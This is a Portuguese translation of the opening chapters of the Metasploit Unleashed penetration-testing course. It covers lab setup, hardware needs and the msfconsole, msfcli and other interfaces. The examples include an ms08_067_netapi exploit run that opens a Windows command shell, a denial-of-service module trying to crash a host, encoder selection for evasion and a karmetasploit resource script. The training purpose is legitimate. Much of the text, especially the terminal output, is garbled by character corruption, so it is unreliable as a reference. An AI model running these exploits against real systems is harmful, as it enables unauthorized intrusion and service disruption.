Você está na página 1de 208

METASPLOIT UNLEASHED - DOMINANDO O FRAMEWORK Este treino livre da segurana de informao trazido a voc em um esforo da comunidade para promover

r a sensibilizao e arrecadar fundos para crianas carentes na frica Oriental. Atravs de um esforo comovente por vrios profissionais de segurana, estamos orgul osos de apresentar o mais completo e aprofundado curso aberto sobre o !etasploit "rame#or$ Esta a verso online gratuita do curso. %e voc apreci&lo e ac ar 'til, pedimos (ue voc faa uma doao para o )"* + ac$ers para *aridade,, -,.. d/lares vai alimentar uma criana durante um ms, portanto, (ual(uer contribuio bem&vinda. 0/s esperamos (ue voc aproveite este curso, tanto (uanto n/s gostamos de faz&lo. A verso 1completa deste curso inclui um guia em formato 23" +(ue tem o mesmo material (ue o #i$i, e um con4unto de v5deos em flas (ue lev&lo embora os m/dulos. 3evido a altera6es recentes no !etasploit "rame#or$, eo processo de desenvolvimento em curso, estamos 7 espera do !%" para estabilizar e ter o seu con4unto completo de recursos para ser implementado. 8amos anunciar a liberao dos v5deos !%"9 uma vez (ue esto prontos, fi(ue atento:

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Materiais necessrios para o curso


Ela deveria vir como nen uma surpresa (ue a maioria dos eAploits dispon5veis na !etasploit "rame#or$ so direcionados contra a !icrosoft Bindo#s, assim, a fim de completar a laborat/rios do curso necessrio ter um sistema de alvo para o ata(ue. Este sistema deve consistir de uma m(uina virtual rodando na sua escol a de sistema operacional ospedeiro. %e voc no tiver um Bindo#sC2 eAtra e D ou 8!#are Bor$station certificado, 0E%? tem um pr&fabricados BinC2 m(uina virtual dispon5vel para do#nload no Fmbito da *ore 3es$top "ederal de configurao do pro4eto na 9@G nas referncias na seo seguinte. %ua "AH um bom recurso para se familiarizar com o "3**. Enfelizmente, a m(uina virtual fornecido pelo 0E%? no formato do !icrosoft 8irtual2*. Alm disso, as 8!s produzido pelo 0E%? so pro4etados e configurados para manter as pessoas (ue eAercem o !etasploit "rame#or$ de compromet&los. Os passos na seco seguinte ir orient&lo atravs do processo de converter a imagem para 8!#are 8irtual2* formato e eAtirpando&se os patc es e as configura6es de pol5tica de grupo a partir da imagem. 8oc ser ento capaz de carregar e eAecutar a m(uina virtual usando o 8!#are 2la<er gratuitamente para completar os laborat/rios do curso. Embora o 8!#are *onverter e 8!#are 2la<er 1livre1, voc ter (ue se inscrever para os do#nloads. 0o entanto, a virtualizao de aplica6es e aparel os so bem vale o registro, se voc no for 4 um membro atual. 8oc tambm pode usar o 8!#are Bor$station ou outras implementa6es do 8irtual Enfrastructure. Este curso foi criado usando a verso mais recente do tronco svn do !etasploit "rame#or$, (ue, no momento da redao deste teAto a verso I,I&dev. %e voc estiver usando voltar J faiAa como sua plataforma, voc pode sempre atualizar para a verso mais recente do tronco atravs da emisso de um 1svn up KnoK D pentestDeAploitsDframe#or$I diret/rio D K. 2or 'ltimo, se voc pretende fazer (ual(uer eAplorar o desenvolvimento, a 8! 0E%?, sendo uma imagem de estao de trabal o regular, no tem um depurador instalado. 8oc vai (uerer instalar Oll<3bg ou imunidade 3ebugger +ou ambos, na sua 8!.

Pr!-re"uisitos #e $ar#%are
Antes de mergul ar no maravil oso mundo do !etasploit "rame#or$ necessrio para garantir o nosso ard#are vai atender ou eAceder alguns re(uisitos antes de proceder. Esso a4udar a eliminar muitos problemas antes (ue eles sur4am mais adiante neste documento. ?odos os valores listados so estimados ou recomendado. 8oc pode comear afastado com menos embora o desempen o ser pre4udicado.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

A&'uns #os re"uisitos #e $ar#%are "ue #e(e) ser consi#era#os s*oL M Espao no disco r5gido M !em/ria dispon5vel M *apacidades 2rocessadores M Acesso D Enter Entra&net Espa+o no Disco R,'i#o Este ser o maior obstculo para superar a tributao. %e4a criativo, se voc pode ter algumas limita6es de espao de armazenamento. Este processo pode consumir (uase =. gigab<tes de espao de armazenamento, assim (ue se4a avisado. Esto significa (ue no podemos usar uma partio "A?I=, uma vez (ue no suporta ar(uivos grandes. Escol a 0?"%, eAtI ou algum outro formato. A (uantidade recomendada de espao necessrio de -. gigab<tes.
730000000 730000000 730000000 730000000 730000000 272792685 3740MB 696MB //z01 file size on disk 696MB //z02 file size on disk 696MB //z03 file size on disk 696MB //z04 file size on disk 696MB //z05 file size on disk 260MB //zip file size on disk total -------//Total space befo e deco!p ession and e"t action

5959506432 5700MB //#"t acted i!a$e file size on disk 20401094656 19456MB //%e &on'e ted ()&& *M on disk total -------28896MB 8589934592 8192MB //+ptional Backt ack ,-.#/T, 0)) 1e23i e!ent4s total -------37088MB

123290094 112MB //*M5a e-con'e te -46061-1614346ta 6$z 377487360 360MB //*M5a e &on'e te installed on disk 101075736 97MB //*M5a e-%la7e -26563-1854046i3866b3ndle 157286400 150MB //*M5a e %la7e 8nstalled on disk total -------37807MB ///ee 9o5 fast it $ets cons3!ed:

%e voc decidiu produzir clones ou instantFneos como voc progressos atravs deste curso, estes tambm ter um espao valioso no seu sistema. Estar vigilante e no ter medo de recuperar o espao conforme a necessidade.

Me)-ria #ispon,(e&
%em fornecer mem/ria suficiente para o seu anfitrio do convidado e sistemas operacionais (ue voc acabar por causar a fal a do sistema. Est indo eAigir @A! para o seu sistema operacional ospedeiro, bem como a (uantidade e(uivalente de @A! (ue voc est dedicando para cada m(uina virtual. 9se o guia abaiAo para a4ud&lo a decidir a (uantidade de @A! necessria para sua situao.
Linux "HOST" Minimal Memory Requirement's 1GB of system memory (RAM) Realisti ally !GB or more "er #in$o%s "G&'ST" Minimal Memory Requirement's

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

At least !() me*a+ytes (MB) of RAM (1GB is re ommen$e$) ,, more ne-er .urts/ Realisti ally 1GB or more %it. a S#A" file of equal -alue (O0tional) Ba 1tra 1 "G&'ST" Minimal Memory Requirement's AT least (1! me*a+ytes (MB) of RAM (1GB is re ommen$e$) ,, more ne-er .urts/ Realisti ally 1GB or more %it. a S#A" file of equal -alue

Processa#or
A velocidade do processador sempre um problema com o ard#are, embora datado de ard#are antigo pode ser utilizado em outras modas para servir a um prop/sito mel or. O re(uisito m5nimo para bare&8!#are 2la<er um processador de -..!)z ou mais rpido +N..!)z recomendados,. Huanto mais potncia (ue voc pode deitar&se, naturalmente, o mel or.

Acessi.i&i#a#e / Internet
Esso pode ser resolvido com um cabo catN do seu roteador D s#itc D ub. %e no ouver nen um servidor 3)*2 na sua rede voc ter para atribuir endereos E2 estticos para seu convidado 8!Ks. 9ma coneAo de rede sem fio pode funcionar to bem como um cabo Et ernet, no entanto, a degradao do sinal com a distFncia, atravs de ob4etos e estruturas limitaro severamente a sua conectividade.

Intera'in#o co) o MSF


) muitas interfaces diferentes para o !etasploit "rame#or$, cada um com suas pr/prias foras e fra(uezas. *omo tal, no uma interface perfeita para usar com o !%", embora o msfconsole a 'nica maneira suportada para acessar a maioria das funcionalidades do (uadro. Ainda benfico, no entanto, ser confortvel com todas as interfaces (ue !%" oferece. O pr/Aimo m/dulo ir fornecer uma viso geral das diversas interfaces, 4untamente com alguns de discusso onde cada um mel or aproveitado. Ms0conso&e

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

O msfconsole provavelmente o mais popular interface para a !%". Ele fornece uma 1all&in& one1 console centralizado e permite um acesso eficiente 7 praticamente todas as op6es dispon5veis no !etasploit "rame#or$. !sfconsole pode parecer intimidante no in5cio, mas depois (ue voc aprender a sintaAe dos comandos (ue voc vai aprender a apreciar o poder de utilizar esta interface. O msfconsole interface ir funcionar no Bindo#s com o lanamento I.I, contudo, os utilizadores da verso I.= ter (ue (uer instalar manualmente o (uadro em *<g#in, 4untamente com a instalao do patc @ub<, ou acessar o console emulador atravs da #eb ou inclu5dos os componentes O9E. Penef5cios do msfconsoleL M Q o 'nico camin o de acesso com suporte para a maioria dos recursos no !etasploit. M "ornece uma interface baseada em console para o (uadro M *ontm a maioria dos recursos e a mais estvel interface !%" M %uporte completo readline, tabulao e concluso de comando M EAecuo de comandos eAternos msfconsole poss5velL

msf 2 0in* 3 1 14!51)6515! 789 exe : 0in* 3 1 14!51)6515! ";<G 14!51)6515! (14!51)6515!) ()(6=) +ytes of $ata5 )= +ytes from 14!51)6515!: i m0>seq?1 ttl?1!6 time?1@5A ms 333 14!51)6515! 0in* statisti s 333 1 0a 1ets transmitte$B 1 re ei-e$B @C 0a 1et lossB time @ms rtt min,a-*,max,m$e- ? 1@5A@6,1@5A@6,1@5A@6,@5@@@ ms msf 2

O.ter A1u#a
Entrando a4uda Kou umKR K no comando prompt msf ir mostrar uma lista de comandos dispon5veis, 4untamente com uma descrio do (ue eles so usados. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 .el0 Dore Domman$s ????????????? Domman$ Ees ri0tion 333333333333333333333333 F Hel0 menu +a 1 Mo-e +a 1 from t.e urrent ontext +anner Eis0lay an a%esome metas0loit +anner $ D.an*e t.e urrent %or1in* $ire tory onne t Dommuni ate %it. a .ost exit 'xit t.e onsole .el0 Hel0 menu info Eis0lays information a+out one or more mo$ule ir+ Ero0 into ir+ s ri0tin* mo$e Go+s Eis0lays an$ mana*es Go+s loa$ Loa$ a frame%or1 0lu*in loa$0at. Sear .es for an$ loa$s mo$ules from a 0at. quit 'xit t.e onsole resour e Run t.e omman$s store$ in a file 555sni0555

2uia co)p&eto
9ma das caracter5sticas mais 'teis do msfconsole a concluso de tabulao. *om a vasta gama de m/dulos dispon5veis, pode ser dif5cil lembrar eAatamente o nome eo camin o do m/dulo espec5fico (ue voc dese4a utilizar. *omo a maioria dos outros s ells, entrando o (ue voc sabe e pressionando 1?ab1 ir apresentar uma lista de op6es para voc ou auto&completa se(Sncia de se eAistir apenas uma opo.

msf use use use use use use use use use use use use msf

2 use ex0loit,%in$o%s,sm+,ms ex0loit,%in$o%s,sm+,ms@A>@=4>neta0i ex0loit,%in$o%s,sm+,ms@=>@@H>1ill+ill ex0loit,%in$o%s,sm+,ms@=>@11>lsass ex0loit,%in$o%s,sm+,ms@=>@A1>net$$e ex0loit,%in$o%s,sm+,ms@(>@A4>0n0 ex0loit,%in$o%s,sm+,ms@)>@!(>rasmans>re* ex0loit,%in$o%s,sm+,ms@)>@!(>rras ex0loit,%in$o%s,sm+,ms@)>@=@>neta0i ex0loit,%in$o%s,sm+,ms@)>@))>n%a0i ex0loit,%in$o%s,sm+,ms@)>@))>n%%1s ex0loit,%in$o%s,sm+,ms@6>@)H>neta0i ex0loit,%in$o%s,sm+,ms$ns>Ionename 2 use ex0loit,%in$o%s,sm+,ms@6>@)H>neta0i

3S$o%3 4o))an#
Entrando s o# Kno prompt msfconsole ir mostrar todos os m/dulos no !etasploit. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

msf 2 s.o% 'n o$ers ???????? <ame 3333 m$,*eneri >s. *eneri ,none mi0s+e,lon*xor 555sni0555 Ees ri0tion 33333333333 Generi S.ell Jaria+le Su+stitution Domman$ 'n o$er T.e "none" 'n o$er KOR 'n o$er

) uma srie de Ks o#K comandos (ue voc pode usar, mas o (ue voc usar com mais fre(Sncia so Ks o#K auAiliar K, s o# eAploits 1e1 s o# pa<loads 1. s o# auAiliares de EAecuo 1ir mostrar uma lista de todos os m/dulos dispon5veis auAiliar no !etasploit. m/dulos auAiliares incluem scanners, m/dulos de negao de servio, fuzzers, e muito mais.
msf 2 s.o% auxiliary Auxiliary ????????? <ame 333 33333333333 a$min,+a 1u0exe ,$um0 a$min,+a 1u0exe ,re*istry a$min, is o,ios>.tt0>aut.>+y0ass 555sni0555

Ees ri0tion Jeritas Ba 1u0 'xe #in$o%s Remote Lile A ess Jeritas Ba 1u0 'xe Ser-er Re*istry A ess Dis o ;OS HTT" &naut.oriIe$ A$ministrati-e A ess

0aturalmente, eAploits Ks o#K ser o comando (ue voc est mais interessado em rodar uma vez em seu n'cleo, !etasploit tudo (uanto 7 eAplorao. s o# @un KeAploitsK para obter uma listagem de todos os eAploits contidos no (uadro.

msf 2 s.o% ex0loits 'x0loits ???????? <ame 333333333333333 aix,r0 >tt$+ser-er$>real0at. Buffer O-erflo% +s$i,soft art,mer ante >soft art 555sni0555

Ees ri0tion ToolTal1 r0 5tt$+ser-er$ >tt>internal>real0at. Mer ante SoftDart DG; O-erflo%

Ks o# pa<loadsK vai eAibir todos os diferentes pa<loads para todas as plataformas dispon5veis no !etasploit.
msf 2 s.o% 0ayloa$s

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

"ayloa$s ???????? <ame 3333 aix,00 ,s.ell>+in$>t 0 aix,00 ,s.ell>fin$>0ort aix,00 ,s.ell>re-erse>t 0 555sni0555

Ees ri0tion 33333333333 A;K Domman$ S.ellB Bin$ TD" ;nline A;K Domman$ S.ellB Lin$ "ort ;nline A;K Domman$ S.ellB Re-erse TD" ;nline

*omo voc pode ver, uma grande (uantidade de cargas dispon5veis. "elizmente, (uando voc est no conteAto de uma eAplorao particular, eAecutando Ks o# pa<loadsK eAibir apenas as cargas (ue so compat5veis com a eAplorao particular. 2or eAemplo, se for um Bindo#s eAplorar, voc no ser mostrado as GinuA pa<loads .
msf ex0loit(ms@6>@)H>neta0i) 2 s.o% 0ayloa$s Dom0ati+le 0ayloa$s ??????????????????? <ame 333333333333333 *eneri ,$e+u*>tra0 *eneri ,$e+u*>tra0,+in$>i0-)>t 0 *eneri ,$e+u*>tra0,+in$>nonx>t 0 or #inH) 555sni0555 Ees ri0tion Generi Generi Generi x6) Ee+u* Tra0 x6) Ee+u* Tra0B Bin$ TD" Sta*er (;"-)) x6) Ee+u* Tra0B Bin$ TD" Sta*er (<o <K

%e voc tiver selecionado um m/dulo espec5fico, voc pode emitir o comando K!ostrar op6esK para eAibir as configura6es (ue esto dispon5veis e D ou necessrias para o m/dulo espec5fico.

msf ex0loit(ms@6>@)H>neta0i) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOST R"ORT SMB";"' Durrent Settin* 333333333333333 ==( BRO#S'R Require$ 33333333 yes yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort T.e 0i0e name to use (BRO#S'RB SRJSJD)

'x0loit tar*et: ;$ 33 @ <ame 3333 Automati

Tar*etin*

%e voc no estiver certo se um sistema operacional vulnervel 7 eAplorao particular, eAecute o comando Ks o# targetsK dentro do conteAto de um m/dulo de eAplorao para ver (uais metas so apoiadas.
msf ex0loit(ms@6>@)H>neta0i) 2 s.o% tar*ets

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

'x0loit tar*ets: ;$ <ame 33 3333 @ Automati Tar*etin* 1 #in$o%s !@@@ &ni-ersal ! #in$o%s K" S"@,S"1 &ni-ersal A #in$o%s K" S"! 'n*lis. (<K) = #in$o%s K" S"A 'n*lis. (<K) ( #in$o%s !@@A S"@ &ni-ersal 555sni0555

%e voc dese4a (ue o aperfeioamento das fal as de segurana, voc pode ver as op6es mais avanadas, eAecutando Ks o# advanced 1.
msf ex0loit(ms@6>@)H>neta0i) 2 s.o% a$-an e$ Mo$ule a$-an e$ o0tions: <ame : DHOST Durrent Settin*: Ees ri0tion : T.e lo al <ame : D"ORT Durrent Settin*: Ees ri0tion : T.e lo al 555sni0555

lient a$$ress

lient 0ort

3searc$3 4o))an#
O msfconsole inclui uma eAtensa eApresso regular funcionalidade de pes(uisa baseado. %e voc tem uma idia geral do (ue voc est procurando voc pode procur&lo atravs do Ksearc K. 0a sa5da abaiAo, uma pes(uisa est sendo feita para !% Pulletin !%.>&.TT. A funo de busca ir localizar essa se(Sncia de referncias dentro do m/dulo. 0ote a conveno de nomenclatura para os m/dulos !etasploit usa sublin ados versus 5fens.
msf 2 sear . ms@43@@1 789 Sear .in* loa$e$ mo$ules for 0attern 'ms@43@@1'555 Auxiliary ????????? <ame 3333 $os,%in$o%s,sm+,ms@4>@@1>%rite Ees ri0tion 33333333333 Mi rosoft SRJ5SMS #riteAn$K ;n-ali$ EataOffset

3in0o3 4o))an#
O comando 1info1 ir fornecer informa6es detal adas sobre um m/dulo em particular, incluindo todas as op6es, ob4ectivos, e outras informa6es.
msf 2 info $os,%in$o%s,sm+,ms@4>@@1>%rite

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

<ame: Mi rosoft SRJ5SMS #riteAn$K ;n-ali$ EataOffset Jersion: )64@ Li ense: Metas0loit Lrame%or1 Li ense (BSE) "ro-i$e$ +y: G5-5-alleGo

3use3 4o))an#
Huando voc tiver decidido sobre um m/dulo espec5fico para fazer uso, a (uesto da 1utilizao1 de comando para selecion&lo.
msf 2 use $os,%in$o%s,sm+,ms@4>@@1>%rite msf auxiliary(ms@4>@@1>%rite) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOST R"ORT Durrent Settin* 333333333333333 ==( Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort

msf auxiliary(ms@4>@@1>%rite) 2

3connect3 4o))an#
Emitindo o contato Kcomando com um endereo E2 eo n'mero da porta, voc pode se conectar a um ost remoto de dentro msfconsole o mesmo (ue voc faria com netcat ou o telnet.
msf 2 onne t 14!51)65151 !A 789 Donne te$ to 14!51)65151:!A NONONO/NPNP EE3#RT -!= st$ ( ) !@@6 <e%Me$ia3<'T Gm+H Release: @H,!H,@6 (SJ< re-ision: 1@@11) N EE3#RT lo*in:

3set3 4o))an#
O comando KsetK usado para configurar as op6es e configura6es do m/dulo (ue voc est trabal ando no momento.
msf auxiliary(ms@4>@@1>%rite) 2 set RHOST 14!51)65151 RHOST ?2 14!51)65151 msf auxiliary(ms@4>@@1>%rite) 2 s.o% o0tions Mo$ule o0tions: <ame 3333 RHOST R"ORT Durrent Settin* 333333333333333 14!51)65151 ==( Require$ 33333333 yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

9m recurso adicionado recentemente no !etasploit a capacidade de definir um codificador para usar em tempo de eAecuo. Esso particularmente 'til no desenvolvimento de eAplorar (uando voc no est completamente certo (uanto 7 carga de mtodos de codificao (ue ir trabal ar com um eAploit.
msf ex0loit(ms@6>@)H>neta0i) 2 s.o% en o$ers Dom0ati+le en o$ers ??????????????????? <ame 3333 m$,*eneri >s. *eneri ,none mi0s+e,lon*xor mi0sle,lon*xor 0.0,+ase)= 00 ,lon*xor 00 ,lon*xor>ta* s0ar ,lon*xor>ta* x)=,xor x6),al0.a>mixe$ x6),al0.a>u00er x6),a-oi$>utf6>tolo%er x6), all=>$%or$>xor x6), ount$o%n x6),fnsten->mox6),Gm0> all>a$$iti-e x6),nonal0.a x6),nonu00er x6),s.i1ata>*a>nai x6),uni o$e>mixe$ x6),uni o$e>u00er Ees ri0tion 33333333333 Generi S.ell Jaria+le Su+stitution Domman$ 'n o$er T.e "none" 'n o$er KOR 'n o$er KOR 'n o$er "H" Base)= en o$er ""D Lon*KOR 'n o$er ""D Lon*KOR 'n o$er S"ARD E#ORE KOR 'n o$er KOR 'n o$er Al0.a! Al0.anumeri Mixe$ ase 'n o$er Al0.a! Al0.anumeri &00er ase 'n o$er A-oi$ &TL6,tolo%er DallQ= E%or$ KOR 'n o$er Sin*le3+yte KOR Dount$o%n 'n o$er Jaria+le3len*t. Lnsten-,mo- E%or$ KOR 'n o$er "olymor0.i Rum0,Dall KOR A$$iti-e Lee$+a 1 'n o$er <on3Al0.a 'n o$er <on3&00er 'n o$er "olymor0.i KOR A$$iti-e Lee$+a 1 'n o$er Al0.a! Al0.anumeri &ni o$e Mixe$ ase 'n o$er Al0.a! Al0.anumeri &ni o$e &00er ase 'n o$er

msf ex0loit(ms@6>@)H>neta0i) 2 set en o$er x6),s.i1ata>*a>nai en o$er ?2 x6),s.i1ata>*a>nai

3c$ec53 co))an#
0o muitos eAploits (ue apoi&lo, mas tambm um Kc ec$K opo (ue ir verificar se o alvo vulnervel a um particular eAplorar em vez de eAplor&lo realmente.
msf ex0loit(ms@=>@=(>%ins) 2 s.o% o0tions Mo$ule o0tions: <ame Durrent Settin* Require$ Ees ri0tion

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

3333 RHOST R"ORT

333333333333333 14!51)651511= =!

33333333 yes yes

33333333333 T.e tar*et a$$ress T.e tar*et 0ort

'x0loit tar*et: ;$ 33 @ <ame 3333 #in$o%s !@@@ 'n*lis.

msf ex0loit(ms@=>@=(>%ins) 2 .e 1 739 D.e 1 faile$: T.e onne tion %as refuse$ +y t.e remote .ost (14!51)651511=:=!)

Settin' 2&o.a& 6aria.&es


A fim de salvar um monte de digitao durante pentest, voc pode definir variveis globais dentro msfconsole. 8oc pode fazer isso com o Ksetg comandoK. 9ma vez (ue estas foram criadas, voc pode us&los em como muitos eAploits e m/dulos auAiliares como voc gosta. 8oc tambm pode guard&las para usar na pr/Aima vez (ue o seu in5cio msfconsole. 0o entanto, a armadil a es(uecer (ue voc salvou globais, portanto, sempre verifi(ue suas op6es antes de 1correr1 ou 1eAplorar1. Enversamente, voc pode usar o KunsetgK comando para remover uma varivel global. 0os eAemplos (ue seguem, as variveis so introduzidas em todas as tampas +ieL G)O%?,, mas !etasploit diferencia mai'sculas de min'sculas por isso no necessrio faz&lo.
msf 2 set* LHOST 14!51)65151@1 LHOST ?2 14!51)65151@1 msf 2 set* RHOSTS 14!51)6515@,!= RHOSTS ?2 14!51)6515@,!= msf 2 set* RHOST 14!51)65151A) RHOST ?2 14!51)65151A) msf 2 sa-e Sa-e$ onfi*uration to: ,root,5msfA, onfi* msf 2

3e7p&oit8run3 4o))an#s
Ao lanar um eAploit, voc deve emitir a 1eAplorar1 comando (ue, se voc estiver usando um m/dulo auAiliar, o uso apropriado KrunK apesar de KeAplorarK vai funcionar to bem.

msf auxiliary(ms@4>@@1>%rite) 2 run Attem0tin* to ras. t.e remote .ost555 $atalenlo%?)((A( $ataoffset?)((A( fillersiIe?H! res ue $atalenlo%?(((A( $ataoffset?)((A( fillersiIe?H! res ue $atalenlo%?=((A( $ataoffset?)((A( fillersiIe?H! res ue $atalenlo%?A((A( $ataoffset?)((A( fillersiIe?H!

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

res ue $atalenlo%?!((A( $ataoffset?)((A( fillersiIe?H! res ue 555sni0555

3.ac53 4o))an#
9ma vez (ue voc terminar de trabal ar com um m/dulo especial, ou se, inadvertidamente, selecione o m/dulo errado, voc pode emitir o Kbac$K de comando para mover para fora do conteAto atual. Esso, no entanto, no necessrio. Assim como voc pode em roteadores comerciais, voc pode alternar os m/dulos a partir de outros m/dulos. *omo um lembrete, as variveis s/ reporte se forem definidas globalmente.
msf auxiliary(ms@4>@@1>%rite) 2 +a 1 msf 2

3resource3 4o))an#
Alguns ata(ues como Uarmetasploit usar um ar(uivo de recurso (ue voc pode carregar atravs do msfconsole usando o KresourceK de comando. Esses ar(uivos so um script bsico para msfconsole. Ela eAecuta os comandos no ar(uivo em se(uncia. !ais tarde, vamos discutir como, fora do Uarmetasploit, (ue pode ser muito 'til.
msf 2 resour e 1arma5r resour e2 loa$ $+>sqliteA 739 739 T.e fun tionality 0re-iously 0ro-i$e$ +y t.is 0lu*in .as +een 739 inte*rate$ into t.e ore omman$ set5 &se t.e ne% '$+>$ri-er' 739 omman$ to use a $ata+ase $ri-er ot.er t.an sqliteA (%.i . 739 is no% t.e $efault)5 All of t.e ol$ omman$s are t.e same5 739 739 Laile$ to loa$ 0lu*in from ,0entest,ex0loits,frame%or1A,0lu*ins,$+>sqliteA: Ee0re ate$ 0lu*in resour e2 $+> reate ,root,1arma5$+ 789 T.e s0e ifie$ $ata+ase alrea$y existsB onne tin* 789 Su essfully onne te$ to t.e $ata+ase 789 Lile: ,root,1arma5$+ resour e2 use auxiliary,ser-er,+ro%ser>auto0%n resour e2 set* A&TO"#<>HOST 1@5@5@51 A&TO"#<>HOST ?2 1@5@5@51 555sni0555

3ir.3 4o))an#
EAecutando o KirbK comando voc ir cair em rub< script modo onde voc pode emitir comandos e criar scripts na mosca.

msf 2 ir+ 789 Startin* ;RB s.ell555 22 0uts "HelloB metas0loit/" HelloB metas0loit/

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

)s0c&i
!sfcli fornece uma interface de lin a de comando poderosa.

Observe (ue (uando msfcli usando, as variveis so atribu5dos atravs de KVK e (ue todas as op6es so case&sensitive.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li %in$o%s,sm+,ms@6>@)H>neta0i RHOST?14!51)651511( "AMLOAE?%in$o%s,s.ell,+in$>t 0 ' 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 789 Starte$ +in$ .an$ler 789 Automati ally $ete tin* t.e tar*et555 789 Lin*er0rint: #in$o%s K" Ser-i e "a 1 ! 3 lan*:'n*lis. 789 Sele te$ Tar*et: #in$o%s K" S"! 'n*lis. (<K) 789 Tri**erin* t.e -ulnera+ility555 789 Sen$in* sta*e (=H= +ytes) 789 Domman$ s.ell session 1 o0ene$ (14!51)65151@1:(=)(4 32 14!51)651511(:====) Mi rosoft #in$o%s K" 7Jersion (515!)@@9 (D) Do0yri*.t 146(3!@@1 Mi rosoft Dor05 D:U#;<EO#SUsystemA!2

%e voc no est totalmente certo sobre (ue op6es pertencem a um determinado m/dulo, voc pode acrescentar a letra KOK para o final da string em (ual(uer ponto (ue voc est preso.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li %in$o%s,sm+,ms@6>@)H>neta0i O

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 <ame 3333 RHOST R"ORT SMB";"' Durrent Settin* 333333333333333 ==( BRO#S'R Require$ 33333333 yes yes yes Ees ri0tion 33333333333 T.e tar*et a$$ress Set t.e SMB ser-i e 0ort T.e 0i0e name to use (BRO#S'RB SRJSJD)

2ara eAibir as cargas (ue esto dispon5veis para o m/dulo atual, acrescentar a letra K2K para a se(uncia de lin a de comando.
rootS+t=:,0entest,ex0loits,frame%or1AT 5,msf li %in$o%s,sm+,ms@6>@)H>neta0i RHOST?14!51)651511( " 789 "lease %ait %.ile %e loa$ t.e mo$ule tree555 Dom0ati+le 0ayloa$s ??????????????????? <ame 3333 *eneri ,$e+u*>tra0 555sni0555 Ees ri0tion 33333333333 Generate a $e+u* tra0 in t.e tar*et 0ro ess

As outras op6es dispon5veis para msfcli esto dispon5veis atravs da emisso de 1msfcli Penef5cios da mscliL M Apoia o lanamento de eAploits e m/dulos auAiliares M Wtil para tarefas espec5ficas M Pom para aprender M *onveniente para usar ao desenvolvimento de um teste ou eAplorar novas M Poa ferramenta para eAplorao one&off M EAcelente se voc sabe eAatamente o (ue eAplorar e op6es (ue voc precisa M !aravil oso para usar em scripts e automao de base

K.

O 'nico inconveniente real de msfcli (ue no suportado to bem (uanto msfconsole e s/ pode lidar com uma conc a de cada vez, tornando&se bastante prtico para ata(ues do lado do cliente. Ele tambm no suporta nen um dos recursos avanados de automao msfconsole.

)s0'ui
!sfgui, como o pr/prio nome sugere, oferece uma interface grfica para o !etasploit "rame#or$.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

Penef5cios da msfguiL M Poa ferramenta para as manifesta6es de clientes e gesto M Oferece uma interface de apontar e clicar para fins de eAplorao M Enterface O?U baseada em assistente para usar o !etasploit "rame#or$ M %uporta uma msfconsole clone via *ontrol X O menu de op6es ou Bindo#&Y *onsole M Ar(uivo grfico e bro#ser processo (uando se utiliza cargas !eterpreter M Emprego 8isual manipulao e 4anelas 3esvantagem do msfgui soL M A partir da verso I.I do !etasploit "rame#or$, msfgui deiAar de ser mantida. M 0o especialmente estvel e est propenso a fal as

msf#eb
O componente de msf#eb metasploit um multi&user interface rub<&on&rails para o "rame#or$. ; Offensive %ecurit< =..> ?raduzido por @afael ?orres

9ene0,cios #a )s0%e. M %uporta vrios usurios, baseados em AZAC msfconsole eAecuo, cargas, encoders, e muito mais. O M Et eAcelente para o fornecimento de gesto ou de sensibilizao dos utilizadores, demos Des(anta'ens #e inc&uir )s0%e. M Q apenas esporadicamente atualizado M "unciona, mas um devorador de mem/ria e pode forar o bro#ser a um raste4amento M A interface msf#eb fornece absolutamente nen uma segurana e s/ deve ser usado em redes confiveis

Reco&$a #e In0or)a+*o
A base para (ual(uer teste de penetrao bem sucedida a recol a de informao s/lida. A incapacidade de realizar a recol a de informao ade(uada ter (ue flailing ao redor aleatoriamente, atacar as m(uinas (ue no so vulnerveis e outros (ue esto faltando.

; Offensive %ecurit< =..> ?raduzido por @afael ?orres

0/s pr/Aimos cap5tulos vamos cobrir vrios aspectos no Fmbito !etasploit (ue podem a4udar com o esforo de coleta de informa6es.

O 3radis "rame#or$
%e voc estiver eAecutando uma caneta&teste como parte de uma e(uipe ou esto trabal ando em seu pr/prio pa5s, voc vai (uerer ser capaz de armazenar seus resultados para a referncia rpida, compartil ar seus dados com sua e(uipe, e a4udar a escrever o seu relat/rio final. 9ma eAcelente ferramenta para a realizao de todos os acima o (uadro 3radis. 3radis uma estrutura de c/digo aberto para compartil ar informa6es durante as avalia6es de segurana e pode ser encontrado a(ui. O (uadro 3radis est sendo ativamente desenvolvida com novas funcionalidades se4am adicionadas regularmente. 3radis muito mais do (ue apenas um simples pedido de anotao. *omunicar sobre %%G, pode importar ar(uivos 0map e 0essus resultado, aneAar ar(uivos, gerar relat/rios, e pode ser estendido para conectar&se com sistemas eAternos +por eAemplo, a vulnerabilidade do banco de dados,. 0o Pac$trac$- voc pode emitir o seguinte comandoL oot;bt4< apt-$et install d adis 9ma vez (ue o "rame#or$ foi instalado, podemos agora ir para o diret/rio e iniciar o servidor.
